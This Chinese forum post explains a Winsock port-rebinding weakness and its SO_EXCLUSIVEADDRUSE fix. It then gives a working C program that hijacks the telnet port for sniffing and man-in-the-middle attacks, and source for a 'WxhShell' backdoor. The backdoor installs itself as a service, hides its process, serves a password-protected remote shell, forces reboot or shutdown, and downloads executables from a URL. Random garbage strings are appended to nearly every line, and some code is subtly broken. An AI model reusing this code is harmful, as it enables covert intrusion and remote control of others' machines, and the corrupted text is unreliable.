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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +CXq41g"c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hvA|d=R(  
=.) :tGDp  
  saddr.sin_family = AF_INET; gO@LJ  
uu>R)iTQ%S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Zw<<p|{)<  
?+%bEZ`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N| P?!G-=  
V?jWp$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #/_ VY.  
pwB>$7(_h  
  这意味着什么?意味着可以进行如下的攻击: r]aI=w<(f  
WD*z..`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WY5HmNX3E  
i'1 MZ%.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I= cayR  
PIoBKCJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^V]IPGV  
A^zd:h-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Mp[2Auf  
e)87 & 7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 : &~LPmJ  
$U)nrn i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Pmd5P:n*,  
M7-2;MZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _kBx2>qQ  
Jc`tOp5  
  #include zH#urF6<  
  #include Ht]O:io`  
  #include 5v=e(Ph +  
  #include    @Q&k6.{4Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H7meI9L  
  int main() a6;5mx  
  { /xB O;'rR  
  WORD wVersionRequested; x`2du/ C  
  DWORD ret; cJM.Q_I}Y  
  WSADATA wsaData; ,e GF~  
  BOOL val; PR,8c  
  SOCKADDR_IN saddr; a(G}<  
  SOCKADDR_IN scaddr; `lt[Q>Z  
  int err; : JSuC  
  SOCKET s; 4[Wwm  
  SOCKET sc; ,pVe@d'  
  int caddsize; s k3 AwG;A  
  HANDLE mt; Pa$"c?QUy  
  DWORD tid;   eF' l_*  
  wVersionRequested = MAKEWORD( 2, 2 ); vY,D02 EMw  
  err = WSAStartup( wVersionRequested, &wsaData ); :-(qqC:  
  if ( err != 0 ) { %c8@  
  printf("error!WSAStartup failed!\n"); +jKu^f6  
  return -1; IlB*JJnl  
  } .Sv/0&O  
  saddr.sin_family = AF_INET; o1-_BlZ  
   #qK5i1<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \: B))y?}d  
SDs#w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nU isC5HW  
  saddr.sin_port = htons(23); J=HN~B1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0F 2p4!@W  
  { NYzBfL x  
  printf("error!socket failed!\n"); VSh&Y_%  
  return -1; J6<O|ng::  
  } QUh`kt(E  
  val = TRUE;  k)W&ZY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Dt iM}=:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4Tb"+Y}  
  { Wr'1Y7z  
  printf("error!setsockopt failed!\n"); Gi*_ &  
  return -1;  s=556  
  } %joU}G;"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8xkLfN|N=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rd)W+W9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KleiX7  
#Jr4LQ@A9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fVdu9 l  
  { wzBI<0]z  
  ret=GetLastError(); \Pe+]4R-Xo  
  printf("error!bind failed!\n"); Iyb_5 UmpF  
  return -1; rZE+B25T~  
  } Lu5X~6j"$  
  listen(s,2); g}L>k}I?!W  
  while(1) (A "yE4rYK  
  { l kyK  
  caddsize = sizeof(scaddr); Aq\K N.  
  //接受连接请求 Ch:EL-L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nlaW$b{=  
  if(sc!=INVALID_SOCKET) G&"O)$h  
  { t+{vb S0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }]JHY P\  
  if(mt==NULL) aM(x--UR=  
  { \xQu*M:!  
  printf("Thread Creat Failed!\n"); 7:<A_OLi  
  break; h Vui.]  
  } !(Y,2{  
  } G.PRPl  
  CloseHandle(mt); Ba** S8{/`  
  } :\y' ?d- Q  
  closesocket(s); II Amx[ b  
  WSACleanup(); c5: X$k\  
  return 0; Z[eWey_  
  }   Xg* ](>/\,  
  DWORD WINAPI ClientThread(LPVOID lpParam) V)vik  
  { 8IE^u<H(:  
  SOCKET ss = (SOCKET)lpParam; %Y>E  
  SOCKET sc; E>`|?DE@  
  unsigned char buf[4096]; j0s$}FPUI  
  SOCKADDR_IN saddr; ?nWzJ5w3  
  long num; 3xiDt?&H  
  DWORD val; g(,^'; j  
  DWORD ret; T k@~w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "M3;>"`G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (t@ :dW  
  saddr.sin_family = AF_INET; 90K&oof?M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E%W w)P  
  saddr.sin_port = htons(23); ),|z4~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3rjKwh7  
  { Y*S:/b~y  
  printf("error!socket failed!\n"); o?6m/Klw6  
  return -1; `*U$pg  
  } TBRG D l  
  val = 100; t[@>u'YKt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \O\q1 s~  
  { beSU[  
  ret = GetLastError(); XUD Ztxa  
  return -1; gga}mqMv=  
  } "F6gV;{Bt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /bPs0>5  
  { KSHq0A6/q%  
  ret = GetLastError(); 76KNgV)3  
  return -1; ={+8jQqi1  
  } b&dv("e 4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -Mz [S  
  { DUh\x>^  
  printf("error!socket connect failed!\n"); ]}p<P):hO  
  closesocket(sc); ge<D}6GQ  
  closesocket(ss); ._Ww  
  return -1; b4WH37,lA  
  } ?_cOU@n  
  while(1) lk[Y6yE  
  { -'SA &[7dP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #qpP37G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v+8Ybq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C,GZ  
  num = recv(ss,buf,4096,0); t,IOq[Vtk  
  if(num>0)  ?r@^9  
  send(sc,buf,num,0); Gh@~~\  
  else if(num==0) i];P!Gm  
  break; Bv' %$}}-  
  num = recv(sc,buf,4096,0); j<k6z   
  if(num>0) |"I)1[7  
  send(ss,buf,num,0); py+\e" s  
  else if(num==0) S(?A3 H  
  break; [[zN Aq)"  
  } a^pbBDi W  
  closesocket(ss); Jazgn5  
  closesocket(sc); 2#r4dr0  
  return 0 ; :tI F*pC  
  } ,v,rY'  
0H]{,mVs  
a @d 15CN  
========================================================== RHMXPsj  
Lj9RF<39g  
下边附上一个代码,,WXhSHELL t(9q 6x3|e  
q=V'pML  
========================================================== x!\q69ndv  
~BX=n9  
#include "stdafx.h" [/%N2mj  
m[74p  
#include <stdio.h> 75lh07  
#include <string.h> ^gZ,A]  
#include <windows.h> v8j3 K   
#include <winsock2.h> TlRc8r|  
#include <winsvc.h> (QJe-)0_y  
#include <urlmon.h> rp{|{>'`.q  
x3Y)l1gh  
#pragma comment (lib, "Ws2_32.lib") g\ vT7x  
#pragma comment (lib, "urlmon.lib") tiHR&v  
m!ueqV"  
#define MAX_USER   100 // 最大客户端连接数 upL3M`  
#define BUF_SOCK   200 // sock buffer I "~.p='  
#define KEY_BUFF   255 // 输入 buffer Z0m`%(MJa  
sA77*T  
#define REBOOT     0   // 重启 v{fcQb  
#define SHUTDOWN   1   // 关机 ii-AE L  
y& 1@d+Lf  
#define DEF_PORT   5000 // 监听端口 ?1a9k@[t  
% hvK;B?Y|  
#define REG_LEN     16   // 注册表键长度 Jk6}hUH,  
#define SVC_LEN     80   // NT服务名长度 .\glNH1d  
T9H*]LxK  
// 从dll定义API 1{ %y(?`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qS FtQ4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jWv'`c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F!wz{i6\h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oSC'b%  
nGkSS_X  
// wxhshell配置信息 =@?[.`  
struct WSCFG { mpMAhm:  
  int ws_port;         // 监听端口 %kjG[C  
  char ws_passstr[REG_LEN]; // 口令 !W9:)5^X  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]p 3f54!  
  char ws_regname[REG_LEN]; // 注册表键名 +ovK~K $A  
  char ws_svcname[REG_LEN]; // 服务名 *^~ =/:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (Y@T5-!D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $?G@ijk,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ElV!C}g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PD-&(ka.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "8{A4N1B5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }: HG)V  
n]ba1t8ZA  
}; '=n?^EPE3  
g}xL7bTlI>  
// default Wxhshell configuration AXW.`~ 4  
struct WSCFG wscfg={DEF_PORT, &|~7`  
    "xuhuanlingzhe", g-~ _gt7  
    1, ]myRYb5Z  
    "Wxhshell", bIAE?D  
    "Wxhshell", P<<+;']  
            "WxhShell Service", ,0.kg  
    "Wrsky Windows CmdShell Service", q!eE~O;A  
    "Please Input Your Password: ", aQtd6L+ J  
  1, @wI>0B  
  "http://www.wrsky.com/wxhshell.exe", ExS5RV@v'  
  "Wxhshell.exe" JfIXv  
    }; MK=oGzK  
_9 ]:0bDUo  
// 消息定义模块 Y \-W`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~\jP+[>M'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \7r0]& _  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wye* ~t  
char *msg_ws_ext="\n\rExit."; ]VRa4ZB{u  
char *msg_ws_end="\n\rQuit."; >|E]??v  
char *msg_ws_boot="\n\rReboot..."; 5M0Q'"`F:  
char *msg_ws_poff="\n\rShutdown..."; 'z(Y9%+a  
char *msg_ws_down="\n\rSave to "; f +{=##'0  
qTr P@F4`g  
char *msg_ws_err="\n\rErr!"; (WyNO QO'  
char *msg_ws_ok="\n\rOK!"; e~N&?^M  
-AdDPWn  
char ExeFile[MAX_PATH]; 0\P5=hD)K  
int nUser = 0; >.d/@3 '  
HANDLE handles[MAX_USER]; b0{i +R  
int OsIsNt;  ?<EzILM  
si]VM_w6  
SERVICE_STATUS       serviceStatus; nn_O"fZi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]?tRO  
=9GA LoGL  
// 函数声明 c$Kc,`2m7  
int Install(void); :o>=^N  
int Uninstall(void); vW1^  
int DownloadFile(char *sURL, SOCKET wsh); Y 3BJ@sqz  
int Boot(int flag); 7~e,"^>T  
void HideProc(void); @M5+12FYt  
int GetOsVer(void); w\bwa!3Y  
int Wxhshell(SOCKET wsl); Jr2yn{s=S  
void TalkWithClient(void *cs); ^v'kEsE^*  
int CmdShell(SOCKET sock); CUu Owx6%  
int StartFromService(void); 4 XjwU`  
int StartWxhshell(LPSTR lpCmdLine); SIJ7Y{\.  
pCs3-&rI3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fv pU]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t0m;tb bg  
q? ' 4&  
// 数据结构和表定义 .gx^L=O:  
SERVICE_TABLE_ENTRY DispatchTable[] = da7"Q{f+  
{ mqZH<.mn  
{wscfg.ws_svcname, NTServiceMain}, {aY) Qv}  
{NULL, NULL} l{{,D57J  
}; 8tx*z"2S  
*[Z`0AgP  
// 自我安装 DM^0[3XuV5  
int Install(void) R| ?Q&F_$  
{ 'x*C#mt  
  char svExeFile[MAX_PATH]; bY" zK',m  
  HKEY key; $oBs%.Jp  
  strcpy(svExeFile,ExeFile); x77L"5g  
2/&=:,"t,B  
// 如果是win9x系统,修改注册表设为自启动 pl`4&y%Me  
if(!OsIsNt) { r&]XNq'P9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wk|+[Rl;L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GY%9V5GB  
  RegCloseKey(key); ^k=<+*9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I2[Z0G@&=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <=M5)#  
  RegCloseKey(key); d@R7b^#g  
  return 0; E(~7NRRm  
    } .q9Sg8G  
  } 8R MM97@1Q  
} F1#{(uW  
else { q`*.F#/4c  
(U:-z=E#1  
// 如果是NT以上系统,安装为系统服务 c RLw)"|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q,KNZxT,q  
if (schSCManager!=0) 6!\V|  
{ ywwA,9~  
  SC_HANDLE schService = CreateService >v+1 v  
  ( a !VWWUTm?  
  schSCManager, ip-X r|Bq  
  wscfg.ws_svcname, |a{; <a  
  wscfg.ws_svcdisp, Nny*C`uDF  
  SERVICE_ALL_ACCESS, q\EYsN</;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !mlfG "FE  
  SERVICE_AUTO_START, jY=y<R_oK  
  SERVICE_ERROR_NORMAL, J&A1]T4d  
  svExeFile, Ib..X&N2  
  NULL, ZmsYRk~@-  
  NULL, 1Wpu  
  NULL, @z1QoZ^w  
  NULL, \zBi-GI7  
  NULL <P h50s4  
  ); Wk%|%/:  
  if (schService!=0) jIs>>  
  { Cqr{Nssu  
  CloseServiceHandle(schService); cq I $9  
  CloseServiceHandle(schSCManager); _E C7r>V&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N~!, S;w  
  strcat(svExeFile,wscfg.ws_svcname); mw"FQ?bJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iB)\* )  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UIAazDyC  
  RegCloseKey(key); vbid>$%  
  return 0; XoKgs,y4  
    } :h(HKMSk1  
  } ?X|)0o  
  CloseServiceHandle(schSCManager); KQf WpHwfj  
} v@\S$qU2  
} `etw[#~N  
|vs5N2_  
return 1; vb>F)X?b_  
} Ae>+Fcv  
poQ_r <I  
// 自我卸载 o +$v0vg%T  
int Uninstall(void) )g@+ MR  
{ |5~Oh`w  
  HKEY key; rI$NNk'A  
>?^oxB"<Gc  
if(!OsIsNt) { c(Dp`f,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n #X~"|U`  
  RegDeleteValue(key,wscfg.ws_regname); wkp2A18n  
  RegCloseKey(key); eo]nkyYDP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A%D 'Z85 -  
  RegDeleteValue(key,wscfg.ws_regname); 1/-3m Po  
  RegCloseKey(key); %0Ur3  
  return 0; nah?V" ?Y  
  } ,WyEwc]  
} ._rPM>B?  
} '4'Z  
else { 0|AgmW_7 .  
s@Q7F{z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p"0#G&-  
if (schSCManager!=0) c,1  G+.  
{ }b2YX+/e$f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0nt@}\j  
  if (schService!=0) }b1G21Dc!  
  { !>9s  
  if(DeleteService(schService)!=0) { H'WYnhU&  
  CloseServiceHandle(schService); (_pw\zk>  
  CloseServiceHandle(schSCManager); l#[Z$+!09  
  return 0; (HRj0,/^  
  } beO Mln+R  
  CloseServiceHandle(schService); EXSJ@k6=8s  
  } }c8nn  
  CloseServiceHandle(schSCManager); :?xH)J,imk  
} og";mC  
} xT> 9ZZcE  
V|YQhd0kv  
return 1; 89M'klZ   
} GN_L"|#)=  
FAM{p=t]HT  
// 从指定url下载文件 Au2?f~#Fv  
int DownloadFile(char *sURL, SOCKET wsh) Htgo=7!?\3  
{ B{/og*xd*1  
  HRESULT hr; a"@f< wU~  
char seps[]= "/"; 0Md>-H;ZY  
char *token; ()aCE^C  
char *file; U`6|K$@  
char myURL[MAX_PATH]; O:0{vu9AQ  
char myFILE[MAX_PATH]; bSe\d~{  
w+6P x#  
strcpy(myURL,sURL); }.g5zy  
  token=strtok(myURL,seps); kP`#zwp'Ci  
  while(token!=NULL) W`x.qumN  
  { ,7wYa&  
    file=token; xKu#O H  
  token=strtok(NULL,seps); }#s{."  
  } Rw'}>?k]  
8&EJ. CQ  
GetCurrentDirectory(MAX_PATH,myFILE); 3k'Bje?9~  
strcat(myFILE, "\\"); [63\2{_^v  
strcat(myFILE, file); 4. R(`#f  
  send(wsh,myFILE,strlen(myFILE),0); ,&BNN]k  
send(wsh,"...",3,0); +2iD9X{$MX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1{N+B#*<[X  
  if(hr==S_OK) .2%t3ul[  
return 0; =AO (  
else ]njNSn  
return 1; IR${a)  
aL:|Dr3SX  
} D?dBm  
!H\;X`W|~D  
// 系统电源模块 1 iox0  
int Boot(int flag) 3@" :&  
{ AUD) =a>  
  HANDLE hToken; ,P9F*;Dj  
  TOKEN_PRIVILEGES tkp; lrJV"H  
VJ\qp%  
  if(OsIsNt) { +c% jOl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T+L=GnYl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OJu>#   
    tkp.PrivilegeCount = 1; @aQ:3/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :a{dWgN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _;3,  
if(flag==REBOOT) { pFH.beY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zr!7*, p  
  return 0; G_1r&[N3  
} AO5&Y.A#  
else { P;.roD9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s4|tWfZ  
  return 0; 9`Qa/Y!  
} z I2DQ] 9  
  } R3G\Gchd  
  else { 0U7Gl9~  
if(flag==REBOOT) { [~8U],?1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'd2 :a2C]  
  return 0; <TVJ9l  
} ;j9%D`u<  
else { *OA(v^@tx7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6CFnE7TQf  
  return 0; nFJW\B&(`  
} g?80>-!bF  
}  D_dv8  
fNLO%\G~2  
return 1; (nQm9 M(  
} poAJl;T  
(d#&m+ g]  
// win9x进程隐藏模块 ry|a_3X(I  
void HideProc(void) H{n:R *  
{ rQl9SUs  
d0B`5#4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bit|L7*14  
  if ( hKernel != NULL ) /Pe xtj<  
  { E0I/]0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ug+ K:YUq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cD]H~D}M  
    FreeLibrary(hKernel); DY#195H  
  } w4P;Z-Cd  
I8! .n  
return; GZi`jp  
} gM&O dT+i  
@2T8H  
// 获取操作系统版本 }vh <x6  
int GetOsVer(void) _FOIMjh%N  
{ d:hnb)I$*  
  OSVERSIONINFO winfo; (-$5YKm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bVz<8b6h'-  
  GetVersionEx(&winfo); +c/!R|h=S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 693"Pg8b  
  return 1; 2->Lz  
  else SZTn=\  
  return 0; 0uD3a-J  
} 'Y @yW3K  
S(CkA\[rz  
// 客户端句柄模块 X'b3CS4  
int Wxhshell(SOCKET wsl) cO]w*Hti  
{ rmggP(  
  SOCKET wsh; 2pmj*Y3"8  
  struct sockaddr_in client; K&&T:'=/  
  DWORD myID; 3ibQbk  
{X<g93  
  while(nUser<MAX_USER) j5DCc,s  
{ Aa_@&e  
  int nSize=sizeof(client); [;Ih I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T;3qE1c  
  if(wsh==INVALID_SOCKET) return 1; FS 5iUH+5  
=~JVU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iDcTO}  
if(handles[nUser]==0) Zj -#"Gm  
  closesocket(wsh); adu6`2 *$  
else gs!'*U)  
  nUser++; oUn+tu:  
  } w2xD1oK~o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f3Zf97i  
Sed 8Q-m  
  return 0; Ej)7[  
} @?e~l:g})g  
y0Gblza  
// 关闭 socket c$,1j%[)  
void CloseIt(SOCKET wsh) p@O Ip  
{ -HGRrWS  
closesocket(wsh); 4 .c1  
nUser--; QOK,-  
ExitThread(0); >yKz8SV#  
} E[#VWM I  
]&H"EHC<$  
// 客户端请求句柄 ;%d<Uk?  
void TalkWithClient(void *cs) U]}FA2  
{ eH7x>[lH.  
KDb j C'3  
  SOCKET wsh=(SOCKET)cs; m#_Rv  
  char pwd[SVC_LEN]; i7- i!`<  
  char cmd[KEY_BUFF]; eCR^$z=c  
char chr[1]; r+m.! +  
int i,j; {St-  
,mx\ -lWFy  
  while (nUser < MAX_USER) { ,+ IFV  
pYzop4  
if(wscfg.ws_passstr) { d+G%\qpzQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QY4;qA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dqo#+_v  
  //ZeroMemory(pwd,KEY_BUFF); X+sKG5nS  
      i=0; m5 sW68  
  while(i<SVC_LEN) {  ?;v\wx  
?o.d FKUe  
  // 设置超时 N$e mS  
  fd_set FdRead; mWYrUI  
  struct timeval TimeOut; ]QHp?Ii1  
  FD_ZERO(&FdRead); 5,p;b  
  FD_SET(wsh,&FdRead); #8M?y*<I  
  TimeOut.tv_sec=8;  :QP1!  
  TimeOut.tv_usec=0; ~}j+~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )EB+(c~E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vu@.;-2E%  
'fl.&"/r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bk3\NPa  
  pwd=chr[0]; Pb;c:HeI/  
  if(chr[0]==0xd || chr[0]==0xa) { 7'e sJ)2  
  pwd=0; E,tdn#_|  
  break; OnE%D|Tq=  
  } "~r)_Ko  
  i++; , d $"`W2  
    } $.C-_L  
>U`G3(#7S  
  // 如果是非法用户,关闭 socket >v, si].  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pl3ap(/  
} Lu6g`O:['  
?e6>dNw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wdP(MkaV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E"VF BKB  
rxX4Cw]\"y  
while(1) { p%meuWV%5  
"G%</G8M  
  ZeroMemory(cmd,KEY_BUFF); w>9d^kU'  
vVSDPlN;  
      // 自动支持客户端 telnet标准   aOd#f:{y  
  j=0; <-?C\c~G@  
  while(j<KEY_BUFF) { iii|;v ]+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z5(9=8hB/  
  cmd[j]=chr[0]; X-nC2[tu'W  
  if(chr[0]==0xa || chr[0]==0xd) { mj$Ucql  
  cmd[j]=0; 6 /YJA*  
  break; Le?g ,c  
  } >Y8\f:KQ  
  j++; uarfH]T{  
    } xE@/8h  
So!=uYX  
  // 下载文件 2`riI*fQ  
  if(strstr(cmd,"http://")) { TMMJ5\t2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N8pL2y:R[P  
  if(DownloadFile(cmd,wsh)) \mh #MMp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5z 0VMt  
  else G`n $A/9Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /a^ R$RHl'  
  } nyi!D   
  else { qJ`:$U  
f%.Ngf9  
    switch(cmd[0]) { [HY r|T  
  MAkr9AKb,  
  // 帮助 ^K"BQ~-w  
  case '?': { I4jRz*Ufe?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {rR(K"M  
    break; }r@dZ Bp:  
  } 9}9VZ r?  
  // 安装 J6s]vV q"  
  case 'i': { -ymDRoi  
    if(Install()) zsJ# CDm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p" >*WQ   
    else f/O6~I&g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e1-tpD:J  
    break; !Nx1I  
    } SC~k4&xy  
  // 卸载 HQ-+ +;Q  
  case 'r': { ~>(~2083*;  
    if(Uninstall()) )L:e0u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,9bnR;f\  
    else  <EU R:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^C'0Y.H S  
    break; :+Ukwno?/  
    } 1V1I[CxlX  
  // 显示 wxhshell 所在路径 =${.*,o  
  case 'p': { Qh&Qsyo%  
    char svExeFile[MAX_PATH]; _|GbU1Hz  
    strcpy(svExeFile,"\n\r"); [ -$ Do  
      strcat(svExeFile,ExeFile); WuU wd#e  
        send(wsh,svExeFile,strlen(svExeFile),0); Su,:f_If,  
    break; 4Wiy2  
    } ;9k>; g3m  
  // 重启 9(TGkz(NA  
  case 'b': { IANSpWea?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o0C&ol_  
    if(Boot(REBOOT)) 1]G)41  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~I5hV}ZT  
    else { ~)ys,Q  
    closesocket(wsh); m@Yc&M~  
    ExitThread(0); \i_E}Ii0  
    } .^{%hc*w4  
    break; WChP,hw  
    } uTR^K=Ve  
  // 关机 QnVr)4"  
  case 'd': { l@B9}Icq  
